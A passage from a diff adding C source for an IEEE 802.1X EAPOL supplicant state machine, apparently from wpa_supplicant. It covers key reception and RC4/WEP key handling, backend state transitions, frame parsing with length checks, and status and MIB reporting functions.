NO_KEY_RECEIVE) +{ + SM_ENTRY(KEY_RX, NO_KEY_RECEIVE); +} + + +SM_STATE(KEY_RX, KEY_RECEIVE) +{ + SM_ENTRY(KEY_RX, KEY_RECEIVE); + eapol_sm_processKey(sm); + sm->rxKey = FALSE; +} + + +SM_STEP(KEY_RX) +{ + if (sm->initialize || !sm->portEnabled) + SM_ENTER_GLOBAL(KEY_RX, NO_KEY_RECEIVE); + switch (sm->KEY_RX_state) { + case KEY_RX_UNKNOWN: + break; + case KEY_RX_NO_KEY_RECEIVE: + if (sm->rxKey) + SM_ENTER(KEY_RX, KEY_RECEIVE); + break; + case KEY_RX_KEY_RECEIVE: + if (sm->rxKey) + SM_ENTER(KEY_RX, KEY_RECEIVE); + break; + } +} + + +SM_STATE(SUPP_BE, REQUEST) +{ + SM_ENTRY(SUPP_BE, REQUEST); + sm->authWhile = 0; + sm->eapReq = TRUE; + eapol_sm_getSuppRsp(sm); +} + + +SM_STATE(SUPP_BE, RESPONSE) +{ + SM_ENTRY(SUPP_BE, RESPONSE); + eapol_sm_txSuppRsp(sm); + sm->eapResp = FALSE; +} + + +SM_STATE(SUPP_BE, SUCCESS) +{ + SM_ENTRY(SUPP_BE, SUCCESS); + sm->keyRun = TRUE; + sm->suppSuccess = TRUE; + +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + if (eap_proxy_key_available(sm->eap_proxy)) { + /* New key received - clear IEEE 802.1X EAPOL-Key replay + * counter */ + sm->replay_counter_valid = FALSE; + } + return; + } +#endif /* CONFIG_EAP_PROXY */ + + if (eap_key_available(sm->eap)) { + /* New key received - clear IEEE 802.1X EAPOL-Key replay + * counter */ + sm->replay_counter_valid = FALSE; + } +} + + +SM_STATE(SUPP_BE, FAIL) +{ + SM_ENTRY(SUPP_BE, FAIL); + sm->suppFail = TRUE; +} + + +SM_STATE(SUPP_BE, TIMEOUT) +{ + SM_ENTRY(SUPP_BE, TIMEOUT); + sm->suppTimeout = TRUE; +} + + +SM_STATE(SUPP_BE, IDLE) +{ + SM_ENTRY(SUPP_BE, IDLE); + sm->suppStart = FALSE; + sm->initial_req = TRUE; +} + + +SM_STATE(SUPP_BE, INITIALIZE) +{ + SM_ENTRY(SUPP_BE, INITIALIZE); + eapol_sm_abortSupp(sm); + sm->suppAbort = FALSE; + + /* + * IEEE Std 802.1X-2004 does not clear authWhile here, but doing so + * allows the timer tick to be stopped more quickly when the port is + * not enabled. Since this variable is used only within RECEIVE state, + * clearing it on initialization does not change actual state machine + * behavior. + */ + sm->authWhile = 0; +} + + +SM_STATE(SUPP_BE, RECEIVE) +{ + SM_ENTRY(SUPP_BE, RECEIVE); + sm->authWhile = sm->authPeriod; + eapol_enable_timer_tick(sm); + sm->eapolEap = FALSE; + sm->eapNoResp = FALSE; + sm->initial_req = FALSE; +} + + +SM_STEP(SUPP_BE) +{ + if (sm->initialize || sm->suppAbort) + SM_ENTER_GLOBAL(SUPP_BE, INITIALIZE); + else switch (sm->SUPP_BE_state) { + case SUPP_BE_UNKNOWN: + break; + case SUPP_BE_REQUEST: + /* + * IEEE Std 802.1X-2004 has transitions from REQUEST to FAIL + * and SUCCESS based on eapFail and eapSuccess, respectively. + * However, IEEE Std 802.1X-2004 is also specifying that + * eapNoResp should be set in conjunction with eapSuccess and + * eapFail which would mean that more than one of the + * transitions here would be activated at the same time. + * Skipping RESPONSE and/or RECEIVE states in these cases can + * cause problems and the direct transitions to do not seem + * correct. Because of this, the conditions for these + * transitions are verified only after eapNoResp. They are + * unlikely to be used since eapNoResp should always be set if + * either of eapSuccess or eapFail is set. + */ + if (sm->eapResp && sm->eapNoResp) { + wpa_printf(MSG_DEBUG, "EAPOL: SUPP_BE REQUEST: both " + "eapResp and eapNoResp set?!"); + } + if (sm->eapResp) + SM_ENTER(SUPP_BE, RESPONSE); + else if (sm->eapNoResp) + SM_ENTER(SUPP_BE, RECEIVE); + else if (sm->eapFail) + SM_ENTER(SUPP_BE, FAIL); + else if (sm->eapSuccess) + SM_ENTER(SUPP_BE, SUCCESS); + break; + case SUPP_BE_RESPONSE: + SM_ENTER(SUPP_BE, RECEIVE); + break; + case SUPP_BE_SUCCESS: + SM_ENTER(SUPP_BE, IDLE); + break; + case SUPP_BE_FAIL: + SM_ENTER(SUPP_BE, IDLE); + break; + case SUPP_BE_TIMEOUT: + SM_ENTER(SUPP_BE, IDLE); + break; + case SUPP_BE_IDLE: + if (sm->eapFail && sm->suppStart) + SM_ENTER(SUPP_BE, FAIL); + else if (sm->eapolEap && sm->suppStart) + SM_ENTER(SUPP_BE, REQUEST); + else if (sm->eapSuccess && sm->suppStart) + SM_ENTER(SUPP_BE, SUCCESS); + break; + case SUPP_BE_INITIALIZE: + SM_ENTER(SUPP_BE, IDLE); + break; + case SUPP_BE_RECEIVE: + if (sm->eapolEap) + SM_ENTER(SUPP_BE, REQUEST); + else if (sm->eapFail) + SM_ENTER(SUPP_BE, FAIL); + else if (sm->authWhile == 0) + SM_ENTER(SUPP_BE, TIMEOUT); + else if (sm->eapSuccess) + SM_ENTER(SUPP_BE, SUCCESS); + break; + } +} + + +static void eapol_sm_txLogoff(struct eapol_sm *sm) +{ + wpa_printf(MSG_DEBUG, "EAPOL: txLogoff"); + sm->ctx->eapol_send(sm->ctx->eapol_send_ctx, + IEEE802_1X_TYPE_EAPOL_LOGOFF, (u8 *) "", 0); + sm->dot1xSuppEapolLogoffFramesTx++; + sm->dot1xSuppEapolFramesTx++; +} + + +static void eapol_sm_txStart(struct eapol_sm *sm) +{ + wpa_printf(MSG_DEBUG, "EAPOL: txStart"); + sm->ctx->eapol_send(sm->ctx->eapol_send_ctx, + IEEE802_1X_TYPE_EAPOL_START, (u8 *) "", 0); + sm->dot1xSuppEapolStartFramesTx++; + sm->dot1xSuppEapolFramesTx++; +} + + +#define IEEE8021X_ENCR_KEY_LEN 32 +#define IEEE8021X_SIGN_KEY_LEN 32 + +struct eap_key_data { + u8 encr_key[IEEE8021X_ENCR_KEY_LEN]; + u8 sign_key[IEEE8021X_SIGN_KEY_LEN]; +}; + + +static void eapol_sm_processKey(struct eapol_sm *sm) +{ +#ifndef CONFIG_FIPS + struct ieee802_1x_hdr *hdr; + struct ieee802_1x_eapol_key *key; + struct eap_key_data keydata; + u8 orig_key_sign[IEEE8021X_KEY_SIGN_LEN], datakey[32]; + u8 ekey[IEEE8021X_KEY_IV_LEN + IEEE8021X_ENCR_KEY_LEN]; + int key_len, res, sign_key_len, encr_key_len; + u16 rx_key_length; + size_t plen; + + wpa_printf(MSG_DEBUG, "EAPOL: processKey"); + if (sm->last_rx_key == NULL) + return; + + if (!sm->conf.accept_802_1x_keys) { + wpa_printf(MSG_WARNING, "EAPOL: Received IEEE 802.1X EAPOL-Key" + " even though this was not accepted - " + "ignoring this packet"); + return; + } + + if (sm->last_rx_key_len < sizeof(*hdr) + sizeof(*key)) + return; + hdr = (struct ieee802_1x_hdr *) sm->last_rx_key; + key = (struct ieee802_1x_eapol_key *) (hdr + 1); + plen = be_to_host16(hdr->length); + if (sizeof(*hdr) + plen > sm->last_rx_key_len || plen < sizeof(*key)) { + wpa_printf(MSG_WARNING, "EAPOL: Too short EAPOL-Key frame"); + return; + } + rx_key_length = WPA_GET_BE16(key->key_length); + wpa_printf(MSG_DEBUG, "EAPOL: RX IEEE 802.1X ver=%d type=%d len=%d " + "EAPOL-Key: type=%d key_length=%d key_index=0x%x", + hdr->version, hdr->type, be_to_host16(hdr->length), + key->type, rx_key_length, key->key_index); + + eapol_sm_notify_lower_layer_success(sm, 1); + sign_key_len = IEEE8021X_SIGN_KEY_LEN; + encr_key_len = IEEE8021X_ENCR_KEY_LEN; + res = eapol_sm_get_key(sm, (u8 *) &keydata, sizeof(keydata)); + if (res < 0) { + wpa_printf(MSG_DEBUG, "EAPOL: Could not get master key for " + "decrypting EAPOL-Key keys"); + return; + } + if (res == 16) { + /* LEAP derives only 16 bytes of keying material. */ + res = eapol_sm_get_key(sm, (u8 *) &keydata, 16); + if (res) { + wpa_printf(MSG_DEBUG, "EAPOL: Could not get LEAP " + "master key for decrypting EAPOL-Key keys"); + return; + } + sign_key_len = 16; + encr_key_len = 16; + os_memcpy(keydata.sign_key, keydata.encr_key, 16); + } else if (res) { + wpa_printf(MSG_DEBUG, "EAPOL: Could not get enough master key " + "data for decrypting EAPOL-Key keys (res=%d)", res); + return; + } + + /* The key replay_counter must increase when same master key */ + if (sm->replay_counter_valid && + os_memcmp(sm->last_replay_counter, key->replay_counter, + IEEE8021X_REPLAY_COUNTER_LEN) >= 0) { + wpa_printf(MSG_WARNING, "EAPOL: EAPOL-Key replay counter did " + "not increase - ignoring key"); + wpa_hexdump(MSG_DEBUG, "EAPOL: last replay counter", + sm->last_replay_counter, + IEEE8021X_REPLAY_COUNTER_LEN); + wpa_hexdump(MSG_DEBUG, "EAPOL: received replay counter", + key->replay_counter, IEEE8021X_REPLAY_COUNTER_LEN); + return; + } + + /* Verify key signature (HMAC-MD5) */ + os_memcpy(orig_key_sign, key->key_signature, IEEE8021X_KEY_SIGN_LEN); + os_memset(key->key_signature, 0, IEEE8021X_KEY_SIGN_LEN); + hmac_md5(keydata.sign_key, sign_key_len, + sm->last_rx_key, sizeof(*hdr) + be_to_host16(hdr->length), + key->key_signature); + if (os_memcmp(orig_key_sign, key->key_signature, + IEEE8021X_KEY_SIGN_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAPOL: Invalid key signature in " + "EAPOL-Key packet"); + os_memcpy(key->key_signature, orig_key_sign, + IEEE8021X_KEY_SIGN_LEN); + return; + } + wpa_printf(MSG_DEBUG, "EAPOL: EAPOL-Key key signature verified"); + + key_len = plen - sizeof(*key); + if (key_len > 32 || rx_key_length > 32) { + wpa_printf(MSG_WARNING, "EAPOL: Too long key data length %d", + key_len ? key_len : rx_key_length); + return; + } + if (key_len == rx_key_length) { + os_memcpy(ekey, key->key_iv, IEEE8021X_KEY_IV_LEN); + os_memcpy(ekey + IEEE8021X_KEY_IV_LEN, keydata.encr_key, + encr_key_len); + os_memcpy(datakey, key + 1, key_len); + rc4_skip(ekey, IEEE8021X_KEY_IV_LEN + encr_key_len, 0, + datakey, key_len); + wpa_hexdump_key(MSG_DEBUG, "EAPOL: Decrypted(RC4) key", + datakey, key_len); + } else if (key_len == 0) { + /* + * IEEE 802.1X-2004 specifies that least significant Key Length + * octets from MS-MPPE-Send-Key are used as the key if the key + * data is not present. This seems to be meaning the beginning + * of the MS-MPPE-Send-Key. In addition, MS-MPPE-Send-Key in + * Supplicant corresponds to MS-MPPE-Recv-Key in Authenticator. + * Anyway, taking the beginning of the keying material from EAP + * seems to interoperate with Authenticators. + */ + key_len = rx_key_length; + os_memcpy(datakey, keydata.encr_key, key_len); + wpa_hexdump_key(MSG_DEBUG, "EAPOL: using part of EAP keying " + "material data encryption key", + datakey, key_len); + } else { + wpa_printf(MSG_DEBUG, "EAPOL: Invalid key data length %d " + "(key_length=%d)", key_len, rx_key_length); + return; + } + + sm->replay_counter_valid = TRUE; + os_memcpy(sm->last_replay_counter, key->replay_counter, + IEEE8021X_REPLAY_COUNTER_LEN); + + wpa_printf(MSG_DEBUG, "EAPOL: Setting dynamic WEP key: %s keyidx %d " + "len %d", + key->key_index & IEEE8021X_KEY_INDEX_FLAG ? + "unicast" : "broadcast", + key->key_index & IEEE8021X_KEY_INDEX_MASK, key_len); + + if (sm->ctx->set_wep_key && + sm->ctx->set_wep_key(sm->ctx->ctx, + key->key_index & IEEE8021X_KEY_INDEX_FLAG, + key->key_index & IEEE8021X_KEY_INDEX_MASK, + datakey, key_len) < 0) { + wpa_printf(MSG_WARNING, "EAPOL: Failed to set WEP key to the " + " driver."); + } else { + if (key->key_index & IEEE8021X_KEY_INDEX_FLAG) + sm->unicast_key_received = TRUE; + else + sm->broadcast_key_received = TRUE; + + if ((sm->unicast_key_received || + !(sm->conf.required_keys & EAPOL_REQUIRE_KEY_UNICAST)) && + (sm->broadcast_key_received || + !(sm->conf.required_keys & EAPOL_REQUIRE_KEY_BROADCAST))) + { + wpa_printf(MSG_DEBUG, "EAPOL: all required EAPOL-Key " + "frames received"); + sm->portValid = TRUE; + if (sm->ctx->eapol_done_cb) + sm->ctx->eapol_done_cb(sm->ctx->ctx); + } + } +#endif /* CONFIG_FIPS */ +} + + +static void eapol_sm_getSuppRsp(struct eapol_sm *sm) +{ + wpa_printf(MSG_DEBUG, "EAPOL: getSuppRsp"); + /* EAP layer processing; no special code is needed, since Supplicant + * Backend state machine is waiting for eapNoResp or eapResp to be set + * and these are only set in the EAP state machine when the processing + * has finished. */ +} + + +static void eapol_sm_txSuppRsp(struct eapol_sm *sm) +{ + struct wpabuf *resp; + + wpa_printf(MSG_DEBUG, "EAPOL: txSuppRsp"); + +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + /* Get EAP Response from EAP Proxy */ + resp = eap_proxy_get_eapRespData(sm->eap_proxy); + if (resp == NULL) { + wpa_printf(MSG_WARNING, "EAPOL: txSuppRsp - EAP Proxy " + "response data not available"); + return; + } + } else +#endif /* CONFIG_EAP_PROXY */ + + resp = eap_get_eapRespData(sm->eap); + if (resp == NULL) { + wpa_printf(MSG_WARNING, "EAPOL: txSuppRsp - EAP response data " + "not available"); + return; + } + + /* Send EAP-Packet from the EAP layer to the Authenticator */ + sm->ctx->eapol_send(sm->ctx->eapol_send_ctx, + IEEE802_1X_TYPE_EAP_PACKET, wpabuf_head(resp), + wpabuf_len(resp)); + + /* eapRespData is not used anymore, so free it here */ + wpabuf_free(resp); + + if (sm->initial_req) + sm->dot1xSuppEapolReqIdFramesRx++; + else + sm->dot1xSuppEapolReqFramesRx++; + sm->dot1xSuppEapolRespFramesTx++; + sm->dot1xSuppEapolFramesTx++; +} + + +static void eapol_sm_abortSupp(struct eapol_sm *sm) +{ + /* release system resources that may have been allocated for the + * authentication session */ + os_free(sm->last_rx_key); + sm->last_rx_key = NULL; + wpabuf_free(sm->eapReqData); + sm->eapReqData = NULL; + eap_sm_abort(sm->eap); +} + + +static void eapol_sm_step_timeout(void *eloop_ctx, void *timeout_ctx) +{ + eapol_sm_step(timeout_ctx); +} + + +static void eapol_sm_set_port_authorized(struct eapol_sm *sm) +{ + if (sm->ctx->port_cb) + sm->ctx->port_cb(sm->ctx->ctx, 1); +} + + +static void eapol_sm_set_port_unauthorized(struct eapol_sm *sm) +{ + if (sm->ctx->port_cb) + sm->ctx->port_cb(sm->ctx->ctx, 0); +} + + +/** + * eapol_sm_step - EAPOL state machine step function + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * This function is called to notify the state machine about changed external + * variables. It will step through the EAPOL state machines in loop to process + * all triggered state changes. + */ +void eapol_sm_step(struct eapol_sm *sm) +{ + int i; + + /* In theory, it should be ok to run this in loop until !changed. + * However, it is better to use a limit on number of iterations to + * allow events (e.g., SIGTERM) to stop the program cleanly if the + * state machine were to generate a busy loop. */ + for (i = 0; i < 100; i++) { + sm->changed = FALSE; + SM_STEP_RUN(SUPP_PAE); + SM_STEP_RUN(KEY_RX); + SM_STEP_RUN(SUPP_BE); +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + /* Drive the EAP proxy state machine */ + if (eap_proxy_sm_step(sm->eap_proxy, sm->eap)) + sm->changed = TRUE; + } else +#endif /* CONFIG_EAP_PROXY */ + if (eap_peer_sm_step(sm->eap)) + sm->changed = TRUE; + if (!sm->changed) + break; + } + + if (sm->changed) { + /* restart EAPOL state machine step from timeout call in order + * to allow other events to be processed. */ + eloop_cancel_timeout(eapol_sm_step_timeout, NULL, sm); + eloop_register_timeout(0, 0, eapol_sm_step_timeout, NULL, sm); + } + + if (sm->ctx->cb && sm->cb_status != EAPOL_CB_IN_PROGRESS) { + int success = sm->cb_status == EAPOL_CB_SUCCESS ? 1 : 0; + sm->cb_status = EAPOL_CB_IN_PROGRESS; + sm->ctx->cb(sm, success, sm->ctx->cb_ctx); + } +} + + +#ifdef CONFIG_CTRL_IFACE +static const char *eapol_supp_pae_state(int state) +{ + switch (state) { + case SUPP_PAE_LOGOFF: + return "LOGOFF"; + case SUPP_PAE_DISCONNECTED: + return "DISCONNECTED"; + case SUPP_PAE_CONNECTING: + return "CONNECTING"; + case SUPP_PAE_AUTHENTICATING: + return "AUTHENTICATING"; + case SUPP_PAE_HELD: + return "HELD"; + case SUPP_PAE_AUTHENTICATED: + return "AUTHENTICATED"; + case SUPP_PAE_RESTART: + return "RESTART"; + default: + return "UNKNOWN"; + } +} + + +static const char *eapol_supp_be_state(int state) +{ + switch (state) { + case SUPP_BE_REQUEST: + return "REQUEST"; + case SUPP_BE_RESPONSE: + return "RESPONSE"; + case SUPP_BE_SUCCESS: + return "SUCCESS"; + case SUPP_BE_FAIL: + return "FAIL"; + case SUPP_BE_TIMEOUT: + return "TIMEOUT"; + case SUPP_BE_IDLE: + return "IDLE"; + case SUPP_BE_INITIALIZE: + return "INITIALIZE"; + case SUPP_BE_RECEIVE: + return "RECEIVE"; + default: + return "UNKNOWN"; + } +} + + +static const char * eapol_port_status(PortStatus status) +{ + if (status == Authorized) + return "Authorized"; + else + return "Unauthorized"; +} +#endif /* CONFIG_CTRL_IFACE */ + + +#if defined(CONFIG_CTRL_IFACE) || !defined(CONFIG_NO_STDOUT_DEBUG) +static const char * eapol_port_control(PortControl ctrl) +{ + switch (ctrl) { + case Auto: + return "Auto"; + case ForceUnauthorized: + return "ForceUnauthorized"; + case ForceAuthorized: + return "ForceAuthorized"; + default: + return "Unknown"; + } +} +#endif /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ + + +/** + * eapol_sm_configure - Set EAPOL variables + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @heldPeriod: dot1xSuppHeldPeriod + * @authPeriod: dot1xSuppAuthPeriod + * @startPeriod: dot1xSuppStartPeriod + * @maxStart: dot1xSuppMaxStart + * + * Set configurable EAPOL state machine variables. Each variable can be set to + * the given value or ignored if set to -1 (to set only some of the variables). + */ +void eapol_sm_configure(struct eapol_sm *sm, int heldPeriod, int authPeriod, + int startPeriod, int maxStart) +{ + if (sm == NULL) + return; + if (heldPeriod >= 0) + sm->heldPeriod = heldPeriod; + if (authPeriod >= 0) + sm->authPeriod = authPeriod; + if (startPeriod >= 0) + sm->startPeriod = startPeriod; + if (maxStart >= 0) + sm->maxStart = maxStart; +} + + +/** + * eapol_sm_get_method_name - Get EAPOL method name + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * Returns: Static string containing name of current eap method or NULL + */ +const char * eapol_sm_get_method_name(struct eapol_sm *sm) +{ + if (sm->SUPP_PAE_state != SUPP_PAE_AUTHENTICATED || + sm->suppPortStatus != Authorized) + return NULL; + + return eap_sm_get_method_name(sm->eap); +} + + +#ifdef CONFIG_CTRL_IFACE +/** + * eapol_sm_get_status - Get EAPOL state machine status + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf. + * + * Query EAPOL state machine for status information. This function fills in a + * text area with current status information from the EAPOL state machine. If + * the buffer (buf) is not large enough, status information will be truncated + * to fit the buffer. + */ +int eapol_sm_get_status(struct eapol_sm *sm, char *buf, size_t buflen, + int verbose) +{ + int len, ret; + if (sm == NULL) + return 0; + + len = os_snprintf(buf, buflen, + "Supplicant PAE state=%s\n" + "suppPortStatus=%s\n", + eapol_supp_pae_state(sm->SUPP_PAE_state), + eapol_port_status(sm->suppPortStatus)); + if (len < 0 || (size_t) len >= buflen) + return 0; + + if (verbose) { + ret = os_snprintf(buf + len, buflen - len, + "heldPeriod=%u\n" + "authPeriod=%u\n" + "startPeriod=%u\n" + "maxStart=%u\n" + "portControl=%s\n" + "Supplicant Backend state=%s\n", + sm->heldPeriod, + sm->authPeriod, + sm->startPeriod, + sm->maxStart, + eapol_port_control(sm->portControl), + eapol_supp_be_state(sm->SUPP_BE_state)); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) + len += eap_proxy_sm_get_status(sm->eap_proxy, + buf + len, buflen - len, + verbose); + else +#endif /* CONFIG_EAP_PROXY */ + len += eap_sm_get_status(sm->eap, buf + len, buflen - len, verbose); + + return len; +} + + +/** + * eapol_sm_get_mib - Get EAPOL state machine MIBs + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @buf: Buffer for MIB information + * @buflen: Maximum buffer length + * Returns: Number of bytes written to buf. + * + * Query EAPOL state machine for MIB information. This function fills in a + * text area with current MIB information from the EAPOL state machine. If + * the buffer (buf) is not large enough, MIB information will be truncated to + * fit the buffer. + */ +int eapol_sm_get_mib(struct eapol_sm *sm, char *buf, size_t buflen) +{ + size_t len; + int ret; + + if (sm == NULL) + return 0; + ret = os_snprintf(buf, buflen, + "dot1xSuppPaeState=%d\n" + "dot1xSuppHeldPeriod=%u\n" + "dot1xSuppAuthPeriod=%u\n" + "dot1xSuppStartPeriod=%u\n" + "dot1xSuppMaxStart=%u\n" + "dot1xSuppSuppControlledPortStatus=%s\n" + "dot1xSuppBackendPaeState=%d\n", + sm->SUPP_PAE_state, + sm->heldPeriod, + sm->authPeriod, + sm->startPeriod, + sm->maxStart, + sm->suppPortStatus == Authorized ? + "Authorized" : "Unauthorized", + sm->SUPP_BE_state); + + if (ret < 0 || (size_t) ret >= buflen) + return 0; + len = ret; + + ret = os_snprintf(buf + len, buflen - len, + "dot1xSuppEapolFramesRx=%u\n" + "dot1xSuppEapolFramesTx=%u\n" + "dot1xSuppEapolStartFramesTx=%u\n" + "dot1xSuppEapolLogoffFramesTx=%u\n" + "dot1xSuppEapolRespFramesTx=%u\n" + "dot1xSuppEapolReqIdFramesRx=%u\n" + "dot1xSuppEapolReqFramesRx=%u\n" + "dot1xSuppInvalidEapolFramesRx=%u\n" + "dot1xSuppEapLengthErrorFramesRx=%u\n" + "dot1xSuppLastEapolFrameVersion=%u\n" + "dot1xSuppLastEapolFrameSource=" MACSTR "\n", + sm->dot1xSuppEapolFramesRx, + sm->dot1xSuppEapolFramesTx, + sm->dot1xSuppEapolStartFramesTx, + sm->dot1xSuppEapolLogoffFramesTx, + sm->dot1xSuppEapolRespFramesTx, + sm->dot1xSuppEapolReqIdFramesRx, + sm->dot1xSuppEapolReqFramesRx, + sm->dot1xSuppInvalidEapolFramesRx, + sm->dot1xSuppEapLengthErrorFramesRx, + sm->dot1xSuppLastEapolFrameVersion, + MAC2STR(sm->dot1xSuppLastEapolFrameSource)); + + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} +#endif /* CONFIG_CTRL_IFACE */ + + +/** + * eapol_sm_rx_eapol - Process received EAPOL frames + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @src: Source MAC address of the EAPOL packet + * @buf: Pointer to the beginning of the EAPOL data (EAPOL header) + * @len: Length of the EAPOL frame + * Returns: 1 = EAPOL frame processed, 0 = not for EAPOL state machine, + * -1 failure + */ +int eapol_sm_rx_eapol(struct eapol_sm *sm, const u8 *src, const u8 *buf, + size_t len) +{ + const struct ieee802_1x_hdr *hdr; + const struct ieee802_1x_eapol_key *key; + int data_len; + int res = 1; + size_t plen; + + if (sm == NULL) + return 0; + sm->dot1xSuppEapolFramesRx++; + if (len < sizeof(*hdr)) { + sm->dot1xSuppInvalidEapolFramesRx++; + return 0; + } + hdr = (const struct ieee802_1x_hdr *) buf; + sm->dot1xSuppLastEapolFrameVersion = hdr->version; + os_memcpy(sm->dot1xSuppLastEapolFrameSource, src, ETH_ALEN); + if (hdr->version < EAPOL_VERSION) { + /* TODO: backwards compatibility */ + } + plen = be_to_host16(hdr->length); + if (plen > len - sizeof(*hdr)) { + sm->dot1xSuppEapLengthErrorFramesRx++; + return 0; + } +#ifdef CONFIG_WPS + if (sm->conf.workaround && + plen < len - sizeof(*hdr) && + hdr->type == IEEE802_1X_TYPE_EAP_PACKET && + len - sizeof(*hdr) > sizeof(struct eap_hdr)) { + const struct eap_hdr *ehdr = + (const struct eap_hdr *) (hdr + 1); + u16 elen; + + elen = be_to_host16(ehdr->length); + if (elen > plen && elen <= len - sizeof(*hdr)) { + /* + * Buffalo WHR-G125 Ver.1.47 seems to send EAP-WPS + * packets with too short EAPOL header length field + * (14 octets). This is fixed in firmware Ver.1.49. + * As a workaround, fix the EAPOL header based on the + * correct length in the EAP packet. + */ + wpa_printf(MSG_DEBUG, "EAPOL: Workaround - fix EAPOL " + "payload length based on EAP header: " + "%d -> %d", (int) plen, elen); + plen = elen; + } + } +#endif /* CONFIG_WPS */ + data_len = plen + sizeof(*hdr); + + switch (hdr->type) { + case IEEE802_1X_TYPE_EAP_PACKET: + if (sm->conf.workaround) { + /* + * An AP has been reported to send out EAP message with + * undocumented code 10 at some point near the + * completion of EAP authentication. This can result in + * issues with the unexpected EAP message triggering + * restart of EAPOL authentication. Avoid this by + * skipping the message without advancing the state + * machine. + */ + const struct eap_hdr *ehdr = + (const struct eap_hdr *) (hdr + 1); + if (plen >= sizeof(*ehdr) && ehdr->code == 10) { + wpa_printf(MSG_DEBUG, "EAPOL: Ignore EAP packet with unknown code 10"); + break; + } + } + + if (sm->cached_pmk) { + /* Trying to use PMKSA caching, but Authenticator did + * not seem to have a matching entry. Need to restart + * EAPOL state machines. + */ + eapol_sm_abort_cached(sm); + } + wpabuf_free(sm->eapReqData); + sm->eapReqData = wpabuf_alloc_copy(hdr + 1, plen); + if (sm->eapReqData) { + wpa_printf(MSG_DEBUG, "EAPOL: Received EAP-Packet " + "frame"); + sm->eapolEap = TRUE; +#ifdef CONFIG_EAP_PROXY + if (sm->use_eap_proxy) { + eap_proxy_packet_update( + sm->eap_proxy, + wpabuf_mhead_u8(sm->eapReqData), + wpabuf_len(sm->eapReqData)); + wpa_printf(MSG_DEBUG, "EAPOL: eap_proxy " + "EAP Req updated"); + } +#endif /* CONFIG_EAP_PROXY */ + eapol_sm_step(sm); + } + break; + case IEEE802_1X_TYPE_EAPOL_KEY: + if (plen < sizeof(*key)) { + wpa_printf(MSG_DEBUG, "EAPOL: Too short EAPOL-Key " + "frame received"); + break; + } + key = (const struct ieee802_1x_eapol_key *) (hdr + 1); + if (key->type == EAPOL_KEY_TYPE_WPA || + key->type == EAPOL_KEY_TYPE_RSN) { + /* WPA Supplicant takes care of this frame. */ + wpa_printf(MSG_DEBUG, "EAPOL: Ignoring WPA EAPOL-Key " + "frame in EAPOL state machines"); + res = 0; + break; + } + if (key->type != EAPOL_KEY_TYPE_RC4) { + wpa_printf(MSG_DEBUG, "EAPOL: Ignored unknown " + "EAPOL-Key type %d", key->type); + break; + } + os_free(sm->last_rx_key); + sm->last_rx_key = os_malloc(data_len); + if (sm->last_rx_key) { + wpa_printf(MSG_DEBUG, "EAPOL: Received EAPOL-Key " + "frame"); + os_memcpy(sm->last_rx_key, buf, data_len); + sm->last_rx_key_len = data_len; + sm->rxKey = TRUE; + eapol_sm_step(sm); + } + break; + default: + wpa_printf(MSG_DEBUG, "EAPOL: Received unknown EAPOL type %d", + hdr->type); + sm->dot1xSuppInvalidEapolFramesRx++; + break; + } + + return res; +} + + +/** + * eapol_sm_notify_tx_eapol_key - Notification about transmitted EAPOL packet + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * + * Notify EAPOL state machine about transmitted EAPOL packet from an external + * component, e.g., WPA. This will update the statistics. + */ +void eapol_sm_notify_tx_eapol_key(struct eapol_sm *sm) +{ + if (sm) + sm->dot1xSuppEapolFramesTx++; +} + + +/** + * eapol_sm_notify_portEnabled - Notification about portEnabled change + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @enabled: New portEnabled value + * + * Notify EAPOL state machine about new portEnabled value. + */ +void eapol_sm_notify_portEnabled(struct eapol_sm *sm, Boolean enabled) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: External notification - " + "portEnabled=%d", enabled); + sm->portEnabled = enabled; + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_portValid - Notification about portValid change + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @valid: New portValid value + * + * Notify EAPOL state machine about new portValid value. + */ +void eapol_sm_notify_portValid(struct eapol_sm *sm, Boolean valid) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: External notification - " + "portValid=%d", valid); + sm->portValid = valid; + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_eap_success - Notification of external EAP success trigger + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @success: %TRUE = set success, %FALSE = clear success + * + * Notify the EAPOL state machine that external event has forced EAP state to + * success (success = %TRUE). This can be cleared by setting success = %FALSE. + * + * This function is called to update EAP state when WPA-PSK key handshake has + * been completed successfully since WPA-PSK does not use EAP state machine. + */ +void eapol_sm_notify_eap_success(struct eapol_sm *sm, Boolean success) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: External notification - " + "EAP success=%d", success); + sm->eapSuccess = success; + sm->altAccept = success; + if (success) + eap_notify_success(sm->eap); + eapol_sm_step(sm); +} + + +/** + * eapol_sm_notify_eap_fail - Notification of external EAP failure trigger + * @sm: Pointer to EAPOL state machine allocated with eapol_sm_init() + * @fail: %TRUE = set failure, %FALSE = clear failure + * + * Notify EAPOL state machine that external event has forced EAP state to + * failure (fail = %TRUE). This can be cleared by setting fail = %FALSE. + */ +void eapol_sm_notify_eap_fail(struct eapol_sm *sm, Boolean fail) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAPOL: External notification - " + "EAP fail=%d", 